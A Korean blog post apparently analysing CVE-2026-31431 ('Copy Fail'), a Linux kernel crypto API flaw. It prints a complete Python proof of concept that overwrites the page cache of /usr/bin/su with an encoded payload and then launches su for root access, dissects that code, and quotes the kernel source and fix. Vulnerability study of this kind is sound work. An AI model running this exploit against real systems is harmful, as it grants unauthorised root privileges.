CVE-2026-31431 - Copy Fail 취약점 살펴보기

Vyacheslav·2026년 9월 9일

Intro

CVE-2026-31431은 2017년부터 존재한 리눅스 커널의 논리 결함에 의해 발생하는 취약점으로, 4바이트의 파일 캐시 Arbitrary Write를 제공합니다.
익스플로잇에는 거의 의존성이 필요하지 않으며, 리눅스 커널에 기본적으로 포함된 Crypto API의 AEAD 프레임워크 구현에 존재하는 authencesn() 템플릿의 결함을 통해 트리거됩니다.

Body

Dissecting PoC

공개된 PoC는 다음과 같습니다.

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

아무래도 가독성이 떨어지니 좀 풀어서 다시 써보면 이렇게 됩니다.

import os as g,zlib,socket as s
def d(x):
	return bytes.fromhex(x)
def c(f,t,c):
	a=s.socket(38,5,0)
    a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
    a.setsockopt(279,1,d('0800010000000010'+'0'*64))
    a.setsockopt(279,5,None,4)
    i=d('00')
    a.accept().sendmsg([b"A"*4+c],[(279,3,i*4),(279,2,b'\x10'+i*19),(279,4,b'\x08'+i*3),],32768)
    r,w=g.pipe()
    g.splice(f,w,t+4,offset_src=0)
    g.splice(r,a.accept().fileno(),t+4)
	try:
    	a.accept().recv(8+t)
	except:
    	0
f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):
	c(f,i,e[i:i+4])
    i+=4
g.system("su")

(작동할지는 모르겠네요)

이제 코드를 보고 구조를 알 수 있습니다.

진입점에서부터,

  1. suid 바이너리를 O_RDONLY로 열어 파일 디스크립터를 f에 저장합니다.
  2. i는 iter
  3. e는 suid 바이너리에 쓰여질 페이로드입니다. hex를 디코딩해서 zlib로 압축을 풀어 저장합니다.
  4. 페이로드 길이 / 4 만큼 루프를 돕니다. c는 페이지 캐시에 4바이트를 쓰는 익스플로잇 함수입니다. c는 인자로 (파일 디스크립터, iter, 쓰여질 페이로드)를 받습니다.
  5. su를 실행하여 루트 권한으로 원하는 페이로드를 실행합니다.

c 함수가 익스플로잇을 실제로 구현합니다. c의 구조는,

  1. a에 소켓 디스크립터를 엽니다. 인자는 (AF_ALG, SOCK_SEQPACKET, 0)입니다. 유저 모드에서 Linux kernel Crypto API에 접근하는 소켓입니다.
  2. "aead" 프레임워크의 "authencesn" 템플릿을 사용하며, 메시지 인증 코드 알고리즘으로 HMAC-sha256, 블록 암호 알고리즘으로 AES-CBC를 선택합니다.
  3. setsockopt(SOL_ALG, ALG_SET_KEY, 더미 키)로 AEAD 키를 설정합니다.
  4. setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)로 AEAD 인증 태그의 크기를 4로 설정합니다.
  5. i는 단일 널 바이트입니다.
  6. 소켓에 메시지를 전송합니다. 데이터는 아래와 같은 구성이 됩니다.
[b"A"*4+(페이로드 4바이트)],
[
	(SOL_ALG,ALG_SET_OP,'\0'*4), #ALG_OP_DECRYPT = 0
    (SOL_ALG,ALG_SET_IV,b'\x10'+'\0'*19),
    (SOL_ALG,ALG_SET_AEAD_ASSOCLEN,b'\x08'+'\0'*3),
],
32768
  1. 파이프 디스크립터 r, w
  2. splice()를 사용하여 파일 페이지 캐시를 소켓으로 직접 연결합니다. (파일 -> 파이프 w, 파이프 r -> 소켓)
  3. 8+t만큼 읽으려고 시도하고, 실패할 경우 예외를 발생시킵니다.

Vulnerable Logic

PoC만 보고 이해하기는 어렵습니다.
리눅스 소스코드의 패치 커밋을 확인해봅시다.
커밋에 대한 설명은 이렇게 되어 있습니다.

crypto: algif_aead - Revert to operating out-of-place
This mostly reverts commit 72548b0 except for the copying of
the associated data.

There is no benefit in operating in-place in algif_aead since the
source and destination come from different mappings.  Get rid of
all the complexity added for in-place operation and just copy the
AD directly.

Fixes: 72548b0 ("crypto: algif_aead - copy AAD from src to dst")

즉, algif_aead 구현에서 in-place 메모리 최적화를 제거한 커밋입니다.
그러니까, 간단히 말하면 메모리 전체를 복사하는 대신 주소만 넘기는 방식으로 최적화를 했는데, 어차피 src와 dst는 다른 매핑에서 온 거라 의미가 없었고, 심지어 이 와중에 특정 템플릿 구현은 입력 버퍼보다 긴 출력을 가져서 문제가 생긴 거네요...

그럼 이제 crypto/authencesn.c를 봅시다. 이 정도만 알아도 익스플로잇을 작성하거나 사용하는 것에 문제는 없겠지만, 구체적으로 알아보는게 좋겠죠.

사실 그렇게 많은 것을 살펴볼 필요는 없습니다.
crypto_authenc_esn_decrypt()함수만 보면 됩니다. (2397e92 커밋)

static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
	struct crypto_aead *authenc_esn = crypto_aead_reqtfm(req);
	struct authenc_esn_request_ctx *areq_ctx = aead_request_ctx(req);
	struct crypto_authenc_esn_ctx *ctx = crypto_aead_ctx(authenc_esn);
	struct ahash_request *ahreq = (void *)(areq_ctx->tail + ctx->reqoff);
	unsigned int authsize = crypto_aead_authsize(authenc_esn);
	struct crypto_ahash *auth = ctx->auth;
	u8 *ohash = areq_ctx->tail;
	unsigned int assoclen = req->assoclen;
	unsigned int cryptlen = req->cryptlen;
	u8 *ihash = ohash + crypto_ahash_digestsize(auth);
	struct scatterlist *dst = req->dst;
	u32 tmp[2];
	int err;

	if (assoclen < 8)
		return -EINVAL;

	cryptlen -= authsize;

	if (req->src != dst)
		memcpy_sglist(dst, req->src, assoclen + cryptlen);

	scatterwalk_map_and_copy(ihash, req->src, assoclen + cryptlen,
				 authsize, 0);

	if (!authsize)
		goto tail;

	/* Move high-order bits of sequence number to the end. */
	scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
	scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
	scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

	sg_init_table(areq_ctx->dst, 2);
	dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);

	ahash_request_set_tfm(ahreq, auth);
	ahash_request_set_crypt(ahreq, dst, ohash, assoclen + cryptlen);
	ahash_request_set_callback(ahreq, aead_request_flags(req),
				   authenc_esn_verify_ahash_done, req);

	err = crypto_ahash_digest(ahreq);
	if (err)
		return err;

tail:
	return crypto_authenc_esn_decrypt_tail(req, aead_request_flags(req));
}

이 코드에서 알 수 있는 부분은,

scatterwalk_map_and_copy(tmp, src, 0, 8, 0);

tmp에 8바이트를 src에서 복사해옵니다.

scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

tmp에서 4바이트를 dst의 4바이트 오프셋 위치로 복사합니다.
그 후에 문제의 코드가 나옵니다.

scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

이 코드는 dst의 끝 위치에다가 처음 src에서 복사한 tmp의 오프셋 +4에서 4바이트를 복사하여 씁니다. 여기서 경계 위반이 발생합니다.

이제 PoC에서 소켓에 전송한 메시지를 다시 살펴봅시다.

[b"A"*4+(페이로드 4바이트)],
[
	(SOL_ALG,ALG_SET_OP,'\0'*4), #ALG_OP_DECRYPT = 0
    (SOL_ALG,ALG_SET_IV,b'\x10'+'\0'*19),
    (SOL_ALG,ALG_SET_AEAD_ASSOCLEN,b'\x08'+'\0'*3),
],
32768

이 구조 전체가 src가 되고, 여기서 가장 윗줄의

[b"A"*4+(페이로드 4바이트)]

부분은 tmp에 복사됩니다.
이제 dst가 파일 캐시 버퍼가 되어 임의 쓰기를 달성할 수 있습니다.

추가적으로, 해당 템플릿에 대한 mitigation을 보면,

	if (src == dst) {
		scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
		scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
		dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
	} else {
		scatterwalk_map_and_copy(tmp, dst, 0, 4, 1);
		scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen - 4, 4, 1);

		src = scatterwalk_ffwd(areq_ctx->src, src, 8);
		dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
		memcpy_sglist(dst, src, assoclen + cryptlen - 8);
		dst = req->dst;
	}

in-place와 out-of-place의 동작을 다르게 하는 코드를 추가했습니다.

마치며

공부 삼아서 최대한 다른 write-up을 안 보고 작성해봤는데 너무 어렵네요.
취약점 처음 나오자마자 써놓고 안 틀렸다는 확신이 없어서 임시 글에 방치해두다가 더 파보지도 않을 것 같고 써놓은 것도 아깝고 해서 그냥 올려봅니다. 틀린 부분이 있다면 알려주세요.

References

  1. https://www.minzkn.com/linuxkernel/pages/crypto.html
  2. https://docs.kernel.org/crypto/userspace-if.html
  3. https://github.com/nibrunie/af_alg-examples/blob/master/examples/basic_cipher.c
  4. https://xint.io/blog/copy-fail-linux-distributions
  5. https://copy.fail/

0개의 댓글